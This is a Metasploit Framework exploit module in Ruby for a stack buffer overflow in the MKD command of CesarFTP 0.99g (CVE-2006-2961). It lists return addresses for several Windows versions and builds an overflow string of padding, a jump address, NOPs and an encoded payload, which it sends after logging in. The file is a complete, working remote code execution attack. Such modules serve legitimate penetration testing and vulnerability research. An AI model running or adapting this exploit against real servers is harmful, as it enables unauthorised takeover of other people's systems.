##
# $Id: cesarftp_mkd.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.

				You must have valid credentials to trigger this vulnerability. Also, you
				only get one chance, so choose your target carefully.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2006-2961'],
					[ 'OSVDB', '26364'],
					[ 'BID', '18586'],
					[ 'URL', 'http://secunia.com/advisories/20574/' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 250,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
					[ 'Windows 2000 Pro SP4 French',  { 'Ret' => 0x775F29D0 } ],
					[ 'Windows XP SP2/SP3 English',       { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
					#[ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
					#[ 'Windows XP SP3 English',       { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
					[ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
				],
			'DisclosureDate' => 'Jun 12 2006',
			'DefaultTarget'  => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /CesarFTP 0\.99g/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)
		sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded

		print_status("Trying target #{target.name}...")

		send_cmd( ['MKD', sploit] , false)

		handler
		disconnect
	end

end
